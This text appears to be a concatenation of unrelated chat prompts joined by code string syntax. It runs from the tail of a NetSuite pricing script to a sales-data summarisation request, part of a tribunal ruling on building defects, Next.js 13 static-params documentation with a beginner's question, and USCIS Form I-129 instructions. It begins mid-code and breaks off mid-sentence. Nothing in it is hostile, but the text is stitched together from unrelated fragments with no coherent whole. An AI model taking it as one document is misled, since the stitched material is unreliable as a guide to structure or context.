recordDet.getFieldValue(\'custrecord\\_detail\\_option\');\n if (option == 1) {\n recordDet.setFieldValue(\'custrecord\\_detail\\_customer\', allChildArray);\n \n }\n if (option == 2) {\n recordDet.setFieldValue(\'custrecord\\_detail\\_customer\', someCustArray);\n \n }\n \n if (option == \'3\') {\n recordDet.setFieldValue(\'custrecord\\_detail\\_customer\', customer);\n \n }\n nlapiSubmitRecord(recordDet, true, true);\n \n }\n }\n }\n nlapiSubmitField(recordType, recordId, \'custrecord\\_cp\\_status\', 4);\n \n }\n \n \n \n if (recordType == \'customrecord\\_catalogue\\_pricing\') {\n var startDate = record.getFieldValue(\'custrecord\\_cat\\_startdate\');\n var endDate = record.getFieldValue(\'custrecord\\_cat\\_enddate\');\n var oldStatus = record.getFieldValue(\'custrecord\\_cat\\_oldstatus\');\n var lineCount = record.getLineItemCount(\'recmachcustrecord\\_parent\\_catalogue\');\n \n for (var i = 1; i <= lineCount; i++) {\n \n //if (context.getRemainingUsage() <= 100) nlapiYieldScript();\n \n record.setLineItemValue(\'recmachcustrecord\\_parent\\_catalogue\', \'custrecord\\_detail\\_startdate\', i, startDate);\n record.setLineItemValue(\'recmachcustrecord\\_parent\\_catalogue\', \'custrecord\\_detail\\_enddate\', i, endDate);\n \n }\n \n record.setFieldValue(\'custrecord\\_cat\\_status\', oldStatus);\n nlapiSubmitRecord(record, false, true);\n \n }\n \n \n }\n catch (e) {\n if (recordType == \'customrecord\\_promo\\_header\') nlapiSubmitField(recordType, recordId, \'custrecord\\_promohead\\_status\', 5, false);\n if (recordType == \'customrecord\\_contract\\_pricing\') nlapiSubmitField(recordType, recordId, \'custrecord\\_cp\\_status\', 5, false);\n if (recordType == \'customrecord\\_catalogue\\_pricing\') nlapiSubmitField(recordType, recordId, \'custrecord\\_cat\\_status\', 6, false);\n //nlapiSubmitField(recordType, recordId, \'custrecord\\_cp\\_status\', \'5\');\n if (e instanceof nlobjError) {\n nlapiLogExecution(\'DEBUG\', \'Scheduled\', e.getCode() + \'\\n\' + e.getDetails());\n \n }\n else {\n nlapiLogExecution(\'DEBUG\', \'Scheduled - unexpected\', e.toString());\n \n }\n }\n}' +'Assume that today\'s date is 12/31/2022 and we\'re writing a monthly business report about our team\'s performance. We want to summarize how many sales we had in August 2022, how that compared month over month, and how that changed year over year. We also want to include how many unique buyers we had that month.\n"""\n\nGiven the following content to extract from:\n"""\nmonth,sales\\_usd,sales\\_usd\\_MoM,sales\\_usd\\_YoY,unique\\_buyers,unique\\_buyers\\_MoM,unique\\_buyers\\_YoY,total\\_transactions,total\\_transactions\\_MoM,total\\_transactions\\_YoY,avg\\_sale,avg\\_sale\\_MoM,avg\\_sale\\_YoY\n12/1/2022,"1,447,098",-30.3%,-96.3%,"8,308",-17.1%,-83.3%,"128,477",-13.4%,-90.6%,$11.26,-19.5%,-60.3%\n11/1/2022,"2,074,764",-22.4%,-91.8%,"10,023",-25.5%,-84.5%,"148,440",-21.4%,-88.5%,$13.98,-1.3%,-28.8%\n10/1/2022,"2,674,792",-42.9%,-93.5%,"13,462",5.9%,-79.5%,"188,864",-10.8%,-83.3%,$14.16,-36.0%,-60.9%\n9/1/2022,"4,683,073",-33.5%,-76.9%,"12,712",-17.3%,-73.2%,"211,829",-49.9%,-67.9%,$22.11,32.9%,-28.1%\n8/1/2022,"7,042,031",-15.6%,-81.2%,"15,369",-12.4%,-73.3%,"423,164",-22.8%,-49.2%,$16.64,9.3%,-63.0%\n7/1/2022,"8,338,866",8.0%,-62.5%,"17,552",-30.3%,-70.8%,"547,841",43.1%,-46.4%,$15.22,-24.6%,-30.1%\n6/1/2022,"7,722,164",-44.6%,-83.0%,"25,200",-27.9%,-66.9%,"382,749",-51.3%,-76.9%,$20.18,13.9%,-26.3%\n5/1/2022,"13,931,450",-47.2%,-65.9%,"34,936",-6.7%,-69.4%,"786,680",-24.1%,-40.4%,$17.71,-30.5%,-42.8%\n4/1/2022,"26,402,816",-10.4%,-67.9%,"37,440",-8.3%,-68.8%,"1,036,816",-14.9%,-17.9%,$25.47,5.2%,-60.9%\n3/1/2022,"29,475,484",-38.1%,-85.8%,"40,828",-44.3%,-77.8%,"1,217,918",-29.1%,-8.2%,$24.20,-12.7%,-84.6%\n2/1/2022,"47,606,739",-19.3%,-78.8%,"73,304",13.7%,-9.3%,"1,716,666",-6.1%,39.3%,$27.73,-14.1%,-84.7%\n1/1/2022,"59,020,026",52.0%,45.6%,"64,494",29.4%,236.2%,"1,828,283",33.5%,261.6%,$32.28,13.9%,-59.8%\n12/1/2021,"38,837,806",53.9%,4368.4%,"49,829",-22.9%,5375.7%,"1,369,789",6.6%,4173.1%,$28.35,44.4%,4.6%\n11/1/2021,"25,236,903",-38.3%,7724.6%,"64,650",-1.7%,13120.9%,"1,285,372",14.0%,12898.0%,$19.63,-45.8%,-39.8%\n10/1/2021,"40,869,575",101.5%,4791.9%,"65,769",38.7%,7048.8%,"1,127,610",70.9%,5627.1%,$36.24,17.9%,-14.6%\n9/1/2021,"20,282,690",-45.9%,9012.7%,"47,434",-17.7%,10302.2%,"659,935",-20.8%,9081.1%,$30.73,-31.7%,-0.7%\n8/1/2021,"37,502,857",68.6%,24144.8%,"57,618",-4.0%,18308.3%,"833,278",-18.4%,12506.3%,$45.01,106.8%,92.4%\n7/1/2021,"22,245,483",-51.0%,266249.2%,"60,027",-21.1%,171405.7%,"1,021,688",-38.4%,385442.6%,$21.77,-20.5%,-30.9%\n6/1/2021,"45,367,753",11.0%,,"76,032",-33.5%,,"1,657,712",25.6%,,$27.37,-11.6%,\n5/1/2021,"40,855,232",-50.4%,,"114,264",-4.8%,,"1,319,971",4.5%,,$30.95,-52.5%,\n4/1/2021,"82,309,626",-60.5%,,"120,057",-34.8%,,"1,263,374",-4.8%,,$65.15,-58.5%,\n3/1/2021,"208,285,837",-7.0%,,"184,008",127.7%,,"1,327,028",7.7%,,$156.96,-13.7%,\n2/1/2021,"224,070,124",452.6%,,"80,822",321.3%,,"1,232,459",143.8%,,$181.81,126.7%,\n1/1/2021,"40,547,118",4565.1%,,"19,185",2008.2%,,"505,572",1477.2%,,$80.20,195.8%,\n12/1/2020,"869,161",169.5%,,910,86.1%,,"32,056",224.2%,,$27.11,-16.9%,\n11/1/2020,"322,531",-61.4%,,489,-46.8%,,"9,889",-49.8%,,$32.62,-23.1%,\n10/1/2020,"835,451",275.4%,,920,101.8%,,"19,689",173.9%,,$42.43,37.0%,\n9/1/2020,"222,576",43.9%,,456,45.7%,,"7,188",8.7%,,$30.96,32.3%,\n8/1/2020,"154,684",1752.1%,,313,794.3%,,"6,610",2394.3%,,$23.40,-25.8%,\n7/1/2020,"8,352",,,35,,,265,,,$31.52,,\nGiven the following format to mirror:\n"""\nIn November 2022, we saw $2,074,764 of sales (-22.4% MoM; -91.8% YoY) across 10,023 unique buyers.\n"""\n\nExtract the text from the following content relevant to the question:\n"""\nmonth,sales\\_usd,sales\\_usd\\_MoM,sales\\_usd\\_YoY,unique\\_buyers,unique\\_buyers\\_MoM,unique\\_buyers\\_YoY,total\\_transactions,total\\_transactions\\_MoM,total\\_transactions\\_YoY,avg\\_sale,avg\\_sale\\_MoM,avg\\_sale\\_YoY\n12/1/2022,"1,447,098",-30.3%,-96.3%,"8,308",-17.1%,-83.3%,"128,477",-13.4%,-90.6%,$11.26,-19.5%,-60.3%\n11/1/2022,"2,074,764",-22.4%,-91.8%,"10,023",-25.5%,-84.5%,"148,440",-21.4%,-88.5%,$13.98,-1.3%,-28.8%\n10/1/2022,"2,674,792",-42.9%,-93.5%,"13,462",5.9%,-79.5%,"188,864",-10.8%,-83.3%,$14.16,-36.0%,-60.9%\n9/1/2022,"4,683,073",-33.5%,-76.9%,"12,712",-17.3%,-73.2%,"211,829",-49.9%,-67.9%,$22.11,32.9%,-28.1%\n8/1/2022,"7,042,031",-15.6%,-81.2%,"15,369",-12.4%,-73.3%,"423,164",-22.8%,-49.2%,$16.64,9.3%,-63.0%\n7/1/2022,"8,338,866",8.0%,-62.5%,"17,552",-30.3%,-70.8%,"547,841",43.1%,-46.4%,$15.22,-24.6%,-30.1%\n6/1/2022,"7,722,164",-44.6%,-83.0%,"25,200",-27.9%,-66.9%,"382,749",-51.3%,-76.9%,$20.18,13.9%,-26.3%\n5/1/2022,"13,931,450",-47.2%,-65.9%,"34,936",-6.7%,-69.4%,"786,680",-24.1%,-40.4%,$17.71,-30.5%,-42.8%\n4/1/2022,"26,402,816",-10.4%,-67.9%,"37,440",-8.3%,-68.8%,"1,036,816",-14.9%,-17.9%,$25.47,5.2%,-60.9%\n3/1/2022,"29,475,484",-38.1%,-85.8%,"40,828",-44.3%,-77.8%,"1,217,918",-29.1%,-8.2%,$24.20,-12.7%,-84.6%\n2/1/2022,"47,606,739",-19.3%,-78.8%,"73,304",13.7%,-9.3%,"1,716,666",-6.1%,39.3%,$27.73,-14.1%,-84.7%\n1/1/2022,"59,020,026",52.0%,45.6%,"64,494",29.4%,236.2%,"1,828,283",33.5%,261.6%,$32.28,13.9%,-59.8%\n12/1/2021,"38,837,806",53.9%,4368.4%,"49,829",-22.9%,5375.7%,"1,369,789",6.6%,4173.1%,$28.35,44.4%,4.6%\n11/1/2021,"25,236,903",-38.3%,7724.6%,"64,650",-1.7%,13120.9%,"1,285,372",14.0%,12898.0%,$19.63,-45.8%,-39.8%\n10/1/2021,"40,869,575",101.5%,4791.9%,"65,769",38.7%,7048.8%,"1,127,610",70.9%,5627.1%,$36.24,17.9%,-14.6%\n9/1/2021,"20,282,690",-45.9%,9012.7%,"47,434",-17.7%,10302.2%,"659,935",-20.8%,9081.1%,$30.73,-31.7%,-0.7%\n8/1/2021,"37,502,857",68.6%,24144.8%,"57,618",-4.0%,18308.3%,"833,278",-18.4%,12506.3%,$45.01,106.8%,92.4%\n7/1/2021,"22,245,483",-51.0%,266249.2%,"60,027",-21.1%,171405.7%,"1,021,688",-38.4%,385442.6%,$21.77,-20.5%,-30.9%\n6/1/2021,"45,367,753",11.0%,,"76,032",-33.5%,,"1,657,712",25.6%,,$27.37,-11.6%,\n5/1/2021,"40,855,232",-50.4%,,"114,264",-4.8%,,"1,319,971",4.5%,,$30.95,-52.5%,\n4/1/2021,"82,309,626",-60.5%,,"120,057",-34.8%,,"1,263,374",-4.8%,,$65.15,-58.5%,\n3/1/2021,"208,285,837",-7.0%,,"184,008",127.7%,,"1,327,028",7.7%,,$156.96,-13.7%,\n2/1/2021,"224,070,124",452.6%,,"80,822",321.3%,,"1,232,459",143.8%,,$181.81,126.7%,\n1/1/2021,"40,547,118",4565.1%,,"19,185",2008.2%,,"505,572",1477.2%,,$80.20,195.8%,\n12/1/2020,"869,161",169.5%,,910,86.1%,,"32,056",224.2%,,$27.11,-16.9%,\n11/1/2020,"322,531",-61.4%,,489,-46.8%,,"9,889",-49.8%,,$32.62,-23.1%,\n10/1/2020,"835,451",275.4%,,920,101.8%,,"19,689",173.9%,,$42.43,37.0%,\n9/1/2020,"222,576",43.9%,,456,45.7%,,"7,188",8.7%,,$30.96,32.3%,\n8/1/2020,"154,684",1752.1%,,313,794.3%,,"6,610",2394.3%,,$23.40,-25.8%,\n7/1/2020,"8,352",,,35,,,265,,,$31.52,,\n"""\n\nSummarize the extracted text from the content above in the format to mirror:\n"""' +'This is part 4 of my multiple messages. I will continue to send you further messages. Do not write anything for now. If you understand my request, please reply by only saying "acknowledged"\n\nConsideration\n\nAssessment of witnesses. In his first affidavit, dated 28 June 2022, the owner said (A10 at [6]):\n\nThe plan for the other unit (Unit 1) was for my mother to live in it or to advertise it for rent once the building works were finished.\n\nIn his second affidavit, dated 8 July 2022, the plan for his mother to live in unit 1 was retracted (A140 at [58]), on the basis that his mother was living with his brother. There was no supporting evidence from either the owner’s brother or their mother. That second affidavit, which was sworn only ten days after the first, does not explain why the evidence in the first affidavit was being changed.\n\nIt is to be noted that the second affidavit (dated 8 July 2022) suggested it was not until after the subject building work started (on 25 September 2020) that the owner’s mother began living with his brother. But that evidence was known to the owner at the time he swore his first affidavit (28 June 2022).\n\nIn those circumstances, it appears the second affidavit was used to remove a non-compensable option (the owner’s mother living in unit 1) and leave only the compensable option (unit 1 being rented). It is not necessary to make such a finding but that is a reason for treating the evidence of the owner with caution.\n\nSupport for that view derives from further evidence of the owner in relation to renting unit 1, namely his evidence as to whether that property could be rented without first addressing any defects. In his first affidavit (A33 at [128]), the owner said he had been informed by a real estate agent that the duplex referred to as unit 1 could be rented for between $750 and $770 per week and 11 pages were provided in support of that claim (A120-130), having been obtained from Azeem Khan of Quba Real Estate. In the same paragraph the owner added the sentence:\n\nHowever, because of the numerous defects identified, I have not been able to rent out Unit 1 to date.\n\nThe owner’s second affidavit (A142 at [66]) suggested that, on or about 20 December 2021 when he was inspecting unit 1 for the purpose of preparing his rental appraisal, Mr Khan said words to the effect:\n\nThere are lots of defects. These will need to be fixed up before you get any tenants in.\n\nAgain, it is to be noted that the second affidavit (dated 8 July 2022) gave evidence of what Azeem Khan is alleged to have said on or about 20 December 2021, but that evidence was known to the owner at the time he swore his first affidavit (28 June 2022). Again, there is no explanation as to why the evidence in the second affidavit was not included in the first affidavit.\n\nAgain, what the owner said in his second affidavit sought to strengthen what he said on the topic of renting unit 1 by elevating his view to in his first affidavit to that of a real estate agent in his second affidavit. That evidence in the second affidavit raises the question as to why Azeem Khan did not say that is his rental appraisal and why the owner did not ask him to include that in his rental appraisal, a document obviously prepared after that inspection.\n\nAs Lord Mansfield observed almost 250 years ago, in Blatch v Archer [1774] ER 2; 1 Cowper 63 at 65:\n\nIt is certainly a maxim that all evidence is to be weighed according to the proof which it was in the power of one side to have produced ...\n\nThe Tribunal also considers the evidence of Mr Khan in support of the builder’s case should also be viewed with caution by reason of his non-responsive answers during his cross-examination. It is noted that, while there were consecutive questions where he suggested there was compliance with the stormwater plan then accepted there wasn’t compliance with the plan at A148, that is explained by the fact that there is an earlier plan (A539).\n\nIn these circumstances, the Tribunal is not prepared to make findings based on the uncorroborated evidence of either the owner or Mr Khan, each of whom has a significant financial interest in the outcome of these proceedings. It is preferable to place greater weight on contemporaneous documents.\n\nWork order or money order? It is convenient to first consider whether a work order or a money order should be made. The starting point is the statutory preference for a work order, established by s 48MA of the HBA. It is the Tribunal’s view that a work order should be made for the following reasons.\n\nFirst, in the current environment, where building costs are increasing significantly, often over a short period, to make a money order based on costs assessed by an expert prior to the hearing to compensate an owner for costs incurred after the hearing may well leave the owner out of pocket. However, the effect of a work order in this instance will be that the owner is not out of pocket as the builder will bear the actual cost of rectification.\n\nSecondly, during his oral evidence, the owner indicated he was willing to have the rectification work carried out by another builder with that work being certified by Mr Bournelis and that was obviously also acceptable to the builder.\n\nIt is noted that Mr Sim remained in the hearing room during closing submissions, after his evidence was completed, and was thus present when the proposal that he carry out the rectification work was put to the Tribunal. For the avoidance of doubt, the Tribunal records that its decision to make a work order was influenced by the indication of the builder’s counsel that Mr Sim would be carrying out the rectification work if the Tribunal made a work order.\n\nIf the builder retains someone other than Mr Sim to carry out that work, the owner will no doubt commence renewal proceedings in which a money order is sought instead of a work order.\n\nThirdly, according to the outline submissions for the owner (MFI 1) there are a total of 200 defects with many instances of different estimates by the experts of the time required to carry out the rectification work. Any assessment of those estimates is likely to create a result where the owner receives either too little or too much and the builder either pays too much or too little for at least some of the items of defective work. A work order removes that outcome because the owner bears the cost resulting from the actual hours required.\n\nFourthly, a work order would usually result in the rectification work being carried out either by the same builder who was responsible for the defective work, or another builder whose identity is not known to the owner. Further, that rectification work is sometimes carried out without any inspection on behalf of the owner. Here, the owner will have benefits: (1) knowing who will be carrying out the rectification work, (2) Mr Sim being familiar with the alleged defects), and (3) having that work inspected by the expert retained by the owner.\n\nFifthly, while it is accepted that the relationship between the owner and the builder has broken down, the work order proposed by the builder will not be affected by that breakdown in that the work will be carried out by Mr Sim with inspection by Mr Bournelis.\n\nContested items. Those two words are used to denote the seven items which were pursued during the cross-examination of the experts.\n\nIt is convenient to consider those items before assessing what should be the form of the work order. Various terms were used to distinguish between the two dwellings: the dwelling with the street number 14 was referred to as the dwelling on the left side and as unit 1; the dwelling with the street number 14A was referred to as the dwelling on the right side and as unit 2. The terms unit 1 and unit 2 are used below.\n\nLow e glass. The quotation, upon which the contract was based, specified: “All windows/doors smart low e laminated and tinted (Agreed, need to check tinted options)” (A480 at 3)). The supplier’s certificate indicated that ”Low-E Clear” glass was supplied (A814). In his report, Mr Sim suggested that no tinting was required (A1294). When cross-examined, he accepted that it was possible to have both low e and colour tint, and that low e clear was installed. There was no cross-examination of Mr Bournelis in relation to this item.\n\nIn relation to this item, it is clear there was a failure to provide what was required by the contract and that the reasonable course is to supply and install window tint to all glazed windows and sliding doors rather than to replace the glass.\n\nFeature tiles. The quotation, under the heading “Bathrooms and ensuite”, specified “Bathroom Tiles to the roof (300x6000) mm or (600x600) mm plus statement wall tile (5 sqm) in each bathroom from builder’s rang (Capped to $30 sqm).” (A467) and a picture underneath those words showed a feature tile on the entire wall behind the bath. Further, under the heading “Flooring/tiling & Electricals”, there appeared the words “Every bathroom to have statement Contrast feature wall (capped to 5 sqm each bathroom, Capped to $30 sqm).” Underneath those words appeared three photos of feature tiles, one of round tiles and two of hexagonal tiles.\n\nWhat was, in fact, installed was feature tiles only in the niche of the wall behind the bath (A904 and A1132). There was no evidence in the owner’s case that the feature tiles had a cost within the $30 per sqm cap and the only evidence of the cost of those tiles is that given by Mr Sim during his cross-examination.' +"Next.js 13 Generating Static Params\nThe generateStaticParams server function can be used in combination with dynamic route segments to define the list of route segment parameters that will be statically generated at build time instead of on-demand.\n\nThis replaces getStaticPaths of Next.js 12 with a simplified API. generateStaticParams doesn't require any context parameters. It runs at build time before the corresponding Layouts or Pages are generated. It will not be called again during revalidation (ISR).\n\nThe primary benefit of the generateStaticParams function in it's smart retrieval of data. If content is fetched within the generateStaticParams function using a fetch request, the requests are automatically deduped. This means a fetch request with the same arguments across multiple generateStaticParams, Layouts, and Pages will only be made once, which decreases build times.\n\nGenerating Static Params\nThe generateStaticParams function can be used in combination with dynamic route segments to statically generate routes at build time instead of on-demand at request time.\n\ne.g. app/blog/[slug]/page.tsx\nexport async function generateStaticParams() {\n const posts = await fetch('https://.../posts').then((res) => res.json());\n\n return posts.map((post) => ({\n slug: post.slug,\n }));\n}\n\nThe primary benefit of the generateStaticParams function is its smart retrieval of data. If content is fetched within the generateStaticParams function using a fetch request, the requests are automatically deduplicated. This means a fetch request with the same arguments across multiple generateStaticParams, Layouts, and Pages will only be made once, which decreases build times.\n\n----\n\nDynamic Segments\nWhen you don't know the exact segment names ahead of time and want to create routes from dynamic data, you can use Dynamic Segments that are filled in at request time or prerendered at build time.\n\nConvention\nA Dynamic Segment can be created by wrapping a folder’s name in square brackets: [folderName]. For example, [id] or [slug].\n\nDynamic Segments are passed as the params prop to layout, page, route, and generateMetadata functions.\n\nExample\nFor example, a simple blog could include the following route app/blog/[slug]/page.js where [slug] is the Dynamic Segment for blog posts.\n\napp/blog/[slug]/page.js\nexport default function Page({ params }) {\n return My Post;\n}\n\nRoute Example URL params\napp/blog/[slug]/page.js /blog/a { slug: 'a' }\napp/blog/[slug]/page.js /blog/b { slug: 'b' }\napp/blog/[slug]/page.js /blog/c { slug: 'c' }\nSee the generateStaticParams() page to learn how to generate the params for the segment.\n\nSee the generateStaticParams() page to learn how to generate the params for the segment.\n\nNote: Dynamic Segments are equivalent to Dynamic Routes in the pages directory.\n\nCatch-all Segments\nDynamic Segments can be extended to catch-all subsequent segments by adding an ellipsis inside the brackets [...folderName].\n\nFor example, app/shop/[...slug]/page.js will match /shop/clothes, but also /shop/clothes/tops, /shop/clothes/tops/t-shirts, and so on.\n\nRoute Example URL params\napp/shop/[...slug]/page.js /shop/a { slug: ['a'] }\napp/shop/[...slug]/page.js /shop/a/b { slug: ['a', 'b'] }\napp/shop/[...slug]/page.js /shop/a/b/c { slug: ['a', 'b', 'c'] }\nOptional Catch-all Segments\nCatch-all Segments can be made optional by including the parameter in double square brackets: [[...folderName]].\n\nFor example, app/shop/[[...slug]]/page.js will also match /shop, in addition to /shop/clothes, /shop/clothes/tops, /shop/clothes/tops/t-shirts.\n\nThe difference between catch-all and optional catch-all segments is that with optional, the route without the parameter is also matched (/shop in the example above).\n\nRoute Example URL params\napp/shop/[[...slug]]/page.js /shop {}\napp/shop/[[...slug]]/page.js /shop/a { slug: ['a'] }\napp/shop/[[...slug]]/page.js /shop/a/b { slug: ['a', 'b'] }\napp/shop/[[...slug]]/page.js /shop/a/b/c { slug: ['a', 'b', 'c'] }\nTypeScript\nWhen using TypeScript, you can add types for params depending on your configured route segment.\n\napp/blog/[slug]/page.tsx\nexport default function Page({\n params,\n}: {\n params: { slug: string };\n}) {\n return My Page\n=======\n\n;\n}\nRoute params Type Definition\napp/blog/[slug]/page.js { slug: string }\napp/shop/[...slug]/page.js { slug: string[] }\napp/[categoryId]/[itemId]/page.js { categoryId: string, itemId: string }\n\n----\n\ngenerateStaticParams\nThe generateStaticParams function can be used in combination with dynamic route segments to statically generate routes at build time instead of on-demand at request time.\n\napp/blog/[slug]/page.js\n\n// Return a list of `params` to populate the [slug] dynamic segment\nexport async function generateStaticParams() {\n const posts = await fetch('https://.../posts').then((res) => res.json());\n\n return posts.map((post) => ({\n slug: post.slug,\n }));\n}\n\n// Multiple versions of this page will be statically generated\n// using the `params` returned by `generateStaticParams`\nexport default function Page({ params }: { params: { slug: string } }) {\n const { slug } = params;\n // ...\n}\n\nGood to know\n\nYou can use the dynamicParams segment config option to control what happens when a dynamic segment is visited that was not generated with generateStaticParams.\nDuring next dev, generateStaticParams will be called when you navigate to a route.\nDuring next build, generateStaticParams runs before the corresponding Layouts or Pages are generated.\nDuring revalidation (ISR), generateStaticParams will not be called again.\nAPI Reference\nParameters\noptions.params (optional)\n\nIf multiple dynamic segments in a route use generateStaticParams, the child generateStaticParams function is executed once for each set of params the parent generates.\n\nThe params object contains the populated params from the parent generateStaticParams, which can be used to generate the params in a child segment.\n\nReturns\ngenerateStaticParams should return an array of objects where each object represents the populated dynamic segments of a single route.\n\nEach property in the object is a dynamic segment to be filled in for the route.\nThe properties name is the segment's name, and the properties value is what that segment should be filled in with.\nExample Route generateStaticParams Return Type\n/product/[id] { id: string }[]\n/products/[category]/[product] { category: string, product: string }[]\n/products/[...slug] { slug: string[] }[]\nSingle Dynamic Segment\napp/product/[id].tsx\nexport function generateStaticParams() {\n return [\n { id: '1' },\n { id: '2' },\n { id: '3' },\n ];\n}\n\n// Three versions of this page will be statically generated\n// using the `params` returned by `generateStaticParams`\n// - /product/1\n// - /product/2\n// - /product/3\nexport default function Page({ params }: { params: { id: string } }) {\n const { id } = params;\n // ...\n}\nMultiple Dynamic Segments\napp/products/[category]/[product].tsx\nexport function generateStaticParams() {\n return [\n { category: 'a', product: '1' },\n { category: 'b', product: '2' },\n { category: 'c', product: '3' },\n ];\n}\n// Three versions of this page will be statically generated\n// using the `params` returned by `generateStaticParams`\n// - /product/a/1\n// - /product/b/2\n// - /product/c/3\nexport default function Page({\n params,\n}: {\n params: { category: string; product: string };\n}) {\n const { category, product } = params;\n // ...\n}\nCatch-all Dynamic Segment\napp/products/[...slug].tsx\nexport function generateStaticParams() {\n return [\n { slug: ['a', '1'] },\n { slug: ['b', '2'] },\n { slug: ['c', '3'] },\n ];\n}\n// Three versions of this page will be statically generated\n// using the `params` returned by `generateStaticParams`\n// - /product/a/1\n// - /product/b/2\n// - /product/c/3\nexport default function Page({\n params,\n}: {\n params: { slug: string[] };\n}) {\n const { slug } = params;\n // ...\n}\nExamples\nMultiple Dynamic Segments in a Route\nYou can generate params for dynamic segments above the current layout or page, but not below. For example, given the app/products/[category]/[product] route:\n\napp/products/[category]/[product]/page.js can generate params for both [category] and [product].\napp/products/[category]/layout.js can only generate params for [category].\nThere are two approaches to generating params for a route with multiple dynamic segments:\n\nGenerate params from the bottom up\nGenerate multiple dynamic segments from the child route segment.\n\napp/products/[category]/[product]/page.tsx\n// Generate segments for both [category] and [product]\nexport async function generateStaticParams() {\n const products = await fetch('https://.../products').then((res) =>\n res.json(),\n );\n\n return products.map((product) => ({\n category: product.category.slug,\n product: product.id,\n }));\n}\n\nexport default function Page({\n params,\n}: {\n params: { category: string; product: string };\n}) {\n // ...\n}\nGenerate params from the top down\nGenerate the parent segments first and use the result to generate the child segments.\n\napp/products/[category]/layout.tsx\n// Generate segments for [category]\nexport async function generateStaticParams() {\n const products = await fetch('https://.../products').then((res) =>\n res.json(),\n );\n\n return products.map((product) => ({\n category: product.category.slug,\n }));\n}\n\nexport default function Layout({\n params,\n}: {\n params: { category: string };\n}) {\n // ...\n}\nA child route segment's generateStaticParams function is executed once for each segment a parent generateStaticParams generates.\n\nThe child generateStaticParams function can use the params returned from the parent generateStaticParams function to dynamically generate its own segments.\n\napp/products/[category]/[product]/page.tsx\n// Generate segments for [product] using the `params` passed from\n// the parent segment's `generateStaticParams` function\nexport async function generateStaticParams({\n params: { category },\n}: {\n params: { category: string };\n}) {\n const products = await fetch(\n `https://.../products?category=${category}`,\n ).then((res) => res.json());\n\n return products.map((product) => ({\n product: product.id,\n }));\n}\n\nexport default function Page({ params }: { params: { category: string } }) {\n // ...\n}\n\n----\n\nI am just a beginer in Next.js 13.2. Help me understand generating static params. Explain using examples using TypeScript for better understanding. Please ask any clarifying questions before we get started with understanding it." +'. A crewman (D);\n4. A fiancé(e) (K-1) or his or her dependent (K-2);\n5. A spouse of a U.S. citizen (K-3) or his or her dependent (K-4);\n6. A J-1 exchange visitor who was admitted in J-1 status for the purpose of receiving graduate medical training;\n7. A J-1 exchange visitor subject to the foreign residence requirement who has not received a waiver of that requirement;\nand\n8. An M-1 student to an H classification, if training received as an M-1 helped him or her qualify for H classification.\nPart 1. Petition Always Required\nThe following classifications always require a petition.\nThe initial evidence listed below and the initial evidence listed under the instructions for a change of status or extension of\nstay must be included with a petition for a new or concurrent employment or for an extension where there is a change in\npreviously approved employment.\nHowever, a petition for extension based on unchanged, previously approved employment should only be filed with the\ninitial evidence required in the extension of stay instructions.\nE-2 CNMI\nAn E-2 CNMI investor is an alien who seeks to enter or remain in the Commonwealth of the Northern Mariana\nIslands (CNMI) in order to maintain an investment in the CNMI that was approved by the CNMI government\nprior to November 28, 2009. An E-2 CNMI investor classification is specifically limited to an alien investor who\nhas previously been granted a qualifying long term investor status under the laws of the CNMI. This classification\nallows an eligible alien to be lawfully present in the CNMI in order to maintain the investment during the\ntransition period from CNMI to Federal immigration law. An investor’s nationality is not a qualifying factor in the\nissuance of an E-2 CNMI investor classification.\nThis classification expires on December 31, 2029\nA petition for the initial issuance of an E-2 CNMI investor classification must be filed within 2 years of the date the E-2\nCNMI investor classification became available, which was January 18, 2011. Petitions for the initial issuance of the E-2\nCNMI filed after January 18, 2013 will be rejected.\nRequests for extension of the E-2 CNMI investor classification may be granted, in increments of not more than 2 years,\nuntil December 31, 2029.\nApplications for the dependents of E-2 CNMI investors must be filed on Form I-539, Application to Extend/Change\nNonimmigrant Status.\nWrite E-2C in the classification block.\nThe petition must be filed with documentary evidence of:\n1. Continuous maintenance of the terms and conditions of E-2 CNMI investor nonimmigrant status;\n2. Physical presence in the CNMI at the time of filing of the extension of stay request; and\n3. The fact that the beneficiary will not leave during the pendency of the extension of stay request.\nH-1B Nonimmigrants (Three Types)\nThe H-1B classification is for aliens coming to the United States temporarily to perform services in a specialty\noccupation.\nWrite H-1B in the classification block.\nForm I-129 Instructions 11/02/22 Page 8 of 30\nA specialty occupation is one that requires the theoretical and practical application of a body of highly specialized\nknowledge to fully perform the occupation and requires the attainment of a bachelor’s or higher degree in a specific\nspecialty, or its equivalent, as a minimum for entry into the occupation in the United States.\nThe petition must be filed by a U.S. employer or a U.S. agent and must be filed with:\n1. Evidence that a labor condition application (LCA) has been certified by the U.S. Department of Labor;\n2. Evidence showing that the proposed employment qualifies as a specialty occupation;\n3. Evidence showing that the beneficiary has the required degree by submitting either:\nA. A copy of the beneficiary’s U.S. bachelor’s or higher degree as required by the specialty occupation;\nB. A copy of a foreign degree and evidence that it is equivalent to the U.S. degree; or\nC. Evidence of education, specialized training, and/or progressively responsible experience that is equivalent to the\nrequired U.S. degree.\n4. A copy of any required license or other official permission to practice the occupation in the state of intended\nemployment; and\n5. A copy of any written contract between the petitioner and the beneficiary or a summary of the terms of the oral\nagreement under which the beneficiary will be employed.\n6. If you are filing an H-1B cap petition for a fiscal year that H-1B registration is required, you must provide a valid\nBeneficiary Confirmation Number for the beneficiary included in this petition, along with a copy of the H-1B\nRegistration Selection Notice.\nNOTE: This evidence requirement is not applicable to H-1B2 petitions.\n7. Off-site Assignment of H-1B Beneficiaries: Petitioners seeking to place the H-1B beneficiary off-site at a location\nother than their own location must answer general questions regarding this assignment in Part 5., Basic Information\nAbout the Proposed Employment and Employer. Petitioners should advise the H-1B beneficiary of the off-site\nwork placement.\nAn H-1B cap-subject petition (including a petition eligible for the advanced degree exemption) only will be accepted for\nfiling if the underlying registration (or the petition itself, if the registration requirement is suspended) is selected toward\nthe annual numerical allocations. When applicable, registrations (or petitions) will be ranked and selected based on\nthe Occupational Employment Survey (OES) wage level that the beneficiary’s proffered wage equals or exceeds for the\nrelevant Standard Occupational Classification (SOC) code in their area(s) of intended employment. Therefore, in the\nH-1B and H-1B1 Data Collection and Filing Fee Exemption Supplement, Item Number 11., you must specify the\nhighest OES wage level that the beneficiary’s proffered wage equals or exceeds for the relevant SOC code in the area(s)\nof intended employment. The OES wage level selected in Part. 5, Item Number 11., must reflect the corresponding OES\nwage level as of the date that the registration underlying the petition was submitted. However, if the registration process\nis suspended, the OES wage level selected in Part. 5, Item Number 11., must reflect the corresponding OES wage level\nas of the date that the petition is filed.\nThe proffered wage is the wage that 